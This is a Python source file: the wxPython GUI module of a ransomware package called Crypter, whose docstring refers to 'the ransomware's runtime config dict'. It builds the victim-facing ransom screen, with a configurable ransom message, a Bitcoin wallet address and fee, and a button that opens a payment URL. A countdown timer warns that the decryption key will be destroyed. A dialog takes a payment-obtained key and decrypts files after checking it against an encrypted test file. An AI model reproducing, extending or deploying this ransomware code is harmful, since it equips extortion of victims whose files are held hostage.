"""Subclass of MainFrame, which is generated by wxFormBuilder."""
'''
@summary: Crypter: GUI Class
@author: MLS
'''

# Import libs
import os
import time
import webbrowser
import wx
from pubsub import pub
from threading import Thread, Event

# Import Package Libs
from . import Base
from .GuiAbsBase import EnterDecryptionKeyDialog
from .GuiAbsBase import MainFrame
from .GuiAbsBase import ViewEncryptedFilesDialog


############################
## DECRYPTIONTHREAD CLASS ##
############################
class DecryptionThread(Thread):
    '''
    @summary: Provides a thread for file decryption
    '''

    def __init__(self, encrypted_files_list, decrypted_files_list, parent,
                 decrypter, decryption_key):
        '''
        @summary: Constructor: Starts the thread
        @param encrypted_files_list: The list of encrypted files
        @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted
        @param parent: Handle to the GUI parent object
        @param decrypter: Handle to the decrypter (Main object)
        @param decryption_key: AES 256 bit decryption key to be used for file decryption
        '''
        self.parent = parent
        self.encrypted_files_list = encrypted_files_list
        self.decrypted_files_list = decrypted_files_list
        self.decrypter = decrypter
        self.decryption_key = decryption_key
        self.in_progress = False
        self.decryption_complete = False
        self._stop_event = Event()

        # Start thread
        Thread.__init__(self)
        self.start()

    def run(self):
        '''
        @summary: Performs decryption of the encrypted files
        '''
        self.in_progress = True
        time.sleep(0.5)

        # Iterate encrypted files
        for i in range(len(self.encrypted_files_list)):

            # Check for thread termination signal and break if set
            if self._stop_event.is_set():
                break
            else:
                # Decrypt file and add to list of decrypted files. Update progress
                self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key)
                self.decrypted_files_list.append(self.encrypted_files_list[i])
                #Publisher.sendMessage("update", "")
                pub.sendMessage("update")

        # Encryption stopped or finished
        self.in_progress = False

        # Check if decryption was completed
        if len(self.decrypted_files_list) == len(self.encrypted_files_list):
            self.decryption_complete = True

        # Run a final progress update
        #Publisher.sendMessage("update", "")
        pub.sendMessage("update")

        # Remove decrypted files from the list of encrypted files
        # Update the GUIs encrypted and decrypted file lists
        for file in self.decrypted_files_list:
            if file in self.encrypted_files_list:
                self.encrypted_files_list.remove(file)

        # Make sure GUI file lists are up-to-date
        self.parent.decrypted_files_list = []
        self.parent.encrypted_files_list = self.encrypted_files_list

        # If forcefully stopped, close the dialog
        if self._stop_event.is_set():
            self.parent.decryption_dialog.Destroy()

    def stop(self):
        '''
        @summary: To be called to set the stop event and terminate the thread after the next cycle
        '''

        # If complete or not in progress, and event is already set, close forcefully
        if self.decryption_complete or not self.in_progress:
            self.parent.decryption_dialog.Destroy()
        # Otherwise, only set signal
        else:
            self._stop_event.set()


###############
## GUI CLASS ##
###############
class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base):
    '''
    @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions,
    labels, text, buttons, images etc. Also inherits from main Base for schema
    '''

    def __init__(self, image_path, start_time, decrypter, config):
        '''
        @summary: Constructor
        @param image_path: The path to look at to find resources, such as images.
        @param start_time: EPOCH time that the encryption finished.
        @param decrypter: Handle back to Main. For calling decryption method
        @param config: The ransomware's runtime config dict
        '''
        # Handle Params
        self.image_path = image_path
        self.start_time = start_time
        self.decrypter = decrypter
        self.__config = config
        self.decryption_thread = None
        self.decryption_dialog = None
        self.encrypted_files_list = self.decrypter.get_encrypted_files_list()
        self.decrypted_files_list = []

        # Define other vars
        self.set_message_to_null = True

        # Super
        MainFrame.__init__(self, parent=None)

        # Update GUI visuals
        self.update_visuals()

        # Update events
        self.set_events()

        # Create pubsub listener to update the decryption progress
        #Publisher.subscribe(self.update_decryption_progress, "update")
        pub.subscribe(self.update_decryption_progress, "update")

    def update_decryption_progress(self):
        '''
        @summary: Updates the decryption progress in the GUI
        '''

        # Calculate percentage completion
        if len(self.encrypted_files_list) == 0:
            percentage_completion = 100
        else:
            percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float(
                len(self.encrypted_files_list))

        # Update number of encrypted files remaining
        if not self.decryption_thread.decryption_complete:
            encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list)
        else:
            encrypted_files_remaining = 0

        # Set encrypted files number in GUI
        self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText(
            "Encrypted Files: %s" % encrypted_files_remaining)

        # Update Decryption percentage completion
        if percentage_completion != 100:
            self.decryption_dialog.StatusText.SetLabelText(
                self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion
            )
        else:
            self.decryption_dialog.StatusText.SetLabelText(
                self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion
            )

        # Update decryption gauge
        if self.encrypted_files_list:
            self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion)
        else:
            self.decryption_dialog.DecryptionGauge.SetValue(100)

        # If the decryption has successfully finished, update the GUI
        if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete:
            # Cleanup decrypter and change dialog message
            self.decrypter.cleanup()
            # Update main window
            self.key_destruction_timer.Stop()
            self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG])
            self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5))
            self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG])
            self.HeaderPanel.Layout()  # Recenters the child widgets after text update (this works!)

            # Disable decryption and files list buttons
            self.EnterDecryptionKeyButton.Disable()
            self.ViewEncryptedFilesButton.Disable()

    def open_url(self, event):
        '''
        @summary: Opens a web browser at the Bitcoin URL
        '''

        webbrowser.open(self.BTC_BUTTON_URL)

    def set_events(self):
        '''
        @summary: Create button and timer events for GUI
        '''

        # Create and bind timer event
        self.key_destruction_timer = wx.Timer()
        self.key_destruction_timer.SetOwner(self, wx.ID_ANY)
        self.key_destruction_timer.Start(500)
        self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer)

        # Create button events
        self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton)
        self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton)
        self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton)

    def stop_decryption(self, event):
        '''
        @summary: Called when the decryption dialog is closed. Sends a stop event
        signal to the decryption thread if it exists
        '''

        # Send stop event to the decryption thread if it exists
        if self.decryption_thread and self.decryption_thread.in_progress:
            self.decryption_thread.stop()
        # Otherwise just kill the dialog
        else:
            self.decryption_dialog.Destroy()

    def show_decryption_dialog(self, event):
        '''
        @summary: Creates a dialog object to show the decryption dialog
        '''

        # If dialog open. Don't open another
        if self.decryption_dialog:
            return

        # Create dialog object
        self.decryption_dialog = EnterDecryptionKeyDialog(self)
        # Set gauge size
        self.decryption_dialog.DecryptionGauge.SetRange(100)
        # Set encrypted file number
        self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText(
            self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str(
                len(self.encrypted_files_list) - len(self.decrypted_files_list)
            )
        )

        # Bind OK button to decryption process
        self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK)
        # Bind close and cancel event to thread killer
        self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel)
        self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption)
        self.decryption_dialog.Show()

    def start_decryption_thread(self, event):
        '''
        @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread)
        '''

        key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0)
        # Check key is valid
        if len(key_contents) < 32:
            self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG])
            return
        # Check key is correct
        elif not self.__is_correct_decryption_key(key_contents):
            self.decryption_dialog.StatusText.SetLabelText("Incorrect Decryption Key!")
            return
        else:
            self.decryption_dialog.StatusText.SetLabelText(
                self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)"
            )

        # Disable dialog buttons
        self.decryption_dialog.OkCancelSizerOK.Disable()
        self.decryption_dialog.OkCancelSizerCancel.Disable()

        # Start the decryption thread
        self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list,
                                                  self, self.decrypter, key_contents)

    def __is_correct_decryption_key(self, key):
        '''
        Checks if the provided decryption key is correct
        @param key: The decryption key to check
        @return: True if the decryption key is valid, otherwise False
        '''
        correct_key = False
        encryption_test_file_path = self.decrypter.encryption_test_file + "." + self.__config["encrypted_file_extension"]

        # Read test file encrypted contents
        with open(encryption_test_file_path, "rb") as encrypted_test_file:
            encrypted_contents = encrypted_test_file.read()

        # Test decryption
        self.decrypter.decrypt_file(self.decrypter.encryption_test_file, key)

        # Check for success
        with open(self.decrypter.encryption_test_file, "rb") as encrypted_test_file:
            contents = encrypted_test_file.read().decode("utf-8")
            if contents == "Encryption test":
                correct_key = True

        # write old encrypted contents back
        with open(encryption_test_file_path, "wb") as encrypted_test_file:
            encrypted_test_file.write(encrypted_contents)
        os.remove(self.decrypter.encryption_test_file)

        return correct_key


    def show_encrypted_files(self, event):
        '''
        @summary: Creates a dialog object showing a list of the files that were encrypted
        '''

        # Create dialog object and file list string
        self.encrypted_files_dialog = ViewEncryptedFilesDialog(self)
        encrypted_files_list = ""
        for file in self.encrypted_files_list:
            encrypted_files_list += "%s" % file

        # If the list of encrypted files exists, load contents
        if encrypted_files_list:
            self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list)
        # Otherwise set to none found
        else:
            self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText(
                self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG])

        self.encrypted_files_dialog.Show()

    def blink(self, event):
        '''
        @summary: Blinks the subheader text
        '''

        # Update the time remaining
        time_remaining = self.get_time_remaining()

        # Set message to blank
        if self.set_message_to_null and time_remaining:
            self.FlashingMessageText.SetLabelText("")
            self.HeaderPanel.Layout()  # Recenters the child widgets after text update (this works!)
            self.set_message_to_null = False
        # Set message to text
        elif time_remaining:
            self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG])
            self.HeaderPanel.Layout()  # Recenters the child widgets after text update (this works!)
            self.set_message_to_null = True

        # If the key has been destroyed, update the menu text
        if not time_remaining:
            # Cleanup decrypter and change dialog message
            self.decrypter.cleanup()
            # Update main window
            self.key_destruction_timer.Stop()
            self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG])
            self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG])
            self.FlashingMessageText.SetForegroundColour(wx.Colour(0, 0, 0))
            # Disable decryption button
            self.EnterDecryptionKeyButton.Disable()
            self.ViewEncryptedFilesButton.Disable()
            self.HeaderPanel.Layout()  # Recenters the child widgets after text update (this works!)
        else:
            self.TimeRemainingTime.SetLabelText(time_remaining)

    def get_time_remaining(self):
        '''
        @summary: Method to read the time of encryption and determine the time remaining
        before the decryption key is destroyed
        @return: time remaining until decryption key is destroyed
        '''

        seconds_elapsed = int(time.time() - int(self.start_time))

        _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed
        if _time_remaining <= 0:
            return None

        minutes, seconds = divmod(_time_remaining, 60)
        hours, minutes = divmod(minutes, 60)

        return "%02d:%02d:%02d" % (hours, minutes, seconds)

    def update_visuals(self):
        '''
        @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc.
        '''

        # Set Frame Style
        style = wx.CAPTION | wx.CLOSE_BOX | wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.TAB_TRAVERSAL
        if self.__config["make_gui_resizeable"]:
            style = style | wx.RESIZE_BORDER
        if self.__config["always_on_top"]:
            style = style | wx.STAY_ON_TOP
        self.SetWindowStyle(style)

        # Background Colour
        self.SetBackgroundColour(wx.Colour(
            self.__config["background_colour"][0],
            self.__config["background_colour"][1],
            self.__config["background_colour"][2]
        )
        )

        # Icon
        icon = wx.Icon()
        icon.CopyFromBitmap(wx.Bitmap(
            os.path.join(self.image_path, self.GUI_IMAGE_ICON)
        ))
        self.SetIcon(icon)

        # Titles
        # =======================================================================
        # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % (
        # 	self.__config["maj_version"],
        # 	self.__config["min_version"]
        # 	)
        # )
        # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper())
        # self.TitleLabel.SetForegroundColour(wx.Colour(
        # 	self.__config["heading_font_colour"][0],
        # 	self.__config["heading_font_colour"][1],
        # 	self.__config["heading_font_colour"][2],
        # 	)
        # )
        # =======================================================================
        self.SetTitle(self.__config["gui_title"] + " v%s.%s" % (
            self.__config["maj_version"],
            self.__config["min_version"]
        )
                      )
        self.TitleLabel.SetLabel(self.__config["gui_title"])

        # Set flashing text initial label and Colour
        self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG])
        self.__set_as_primary_colour(self.FlashingMessageText)

        # Set Ransom Message
        self.RansomMessageText.SetValue(self.__config["ransom_message"])

        # Set Logo
        self.LockBitmap.SetBitmap(
            wx.Bitmap(
                os.path.join(self.image_path, self.GUI_IMAGE_LOGO),
                wx.BITMAP_TYPE_ANY
            )
        )

        # Set Bitcoin Button logo
        self.BitcoinButton.SetBitmap(
            wx.Bitmap(
                os.path.join(self.image_path, self.GUI_IMAGE_BUTTON),
                wx.BITMAP_TYPE_ANY
            )
        )

        # Set key destruction label
        self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG])
        self.__set_as_primary_colour(self.TimeRemainingLabel)

        # Set Wallet Address label
        self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG])
        self.__set_as_primary_colour(self.WalletAddressLabel)

        # Set Wallet Address Value
        self.WalletAddressString.SetLabel(self.__config["wallet_address"])
        self.__set_as_secondary_colour(self.WalletAddressString)

        # Set Bitcoin Fee label
        self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG])
        self.__set_as_primary_colour(self.BitcoinFeeLabel)

        # Set Bitcoin Fee Value
        self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"])
        self.__set_as_secondary_colour(self.BitcoinFeeString)

        # Set Timer font colour
        self.__set_as_secondary_colour(self.TimeRemainingTime)

        # Set Button Text
        self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG])
        self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG])

    def __set_as_secondary_colour(self, obj):
        '''
        @summary: Sets the objects foreground colour to the secondary colour specified by the config
        '''

        obj.SetForegroundColour(wx.Colour(
            self.__config["secondary_font_colour"][0],
            self.__config["secondary_font_colour"][1],
            self.__config["secondary_font_colour"][2]
        )
        )

    def __set_as_primary_colour(self, obj):
        '''
        @summary: Sets the objects foreground colour to the primary colour specified by the config
        '''

        obj.SetForegroundColour(wx.Colour(
            self.__config["primary_font_colour"][0],
            self.__config["primary_font_colour"][1],
            self.__config["primary_font_colour"][2]
        )
        )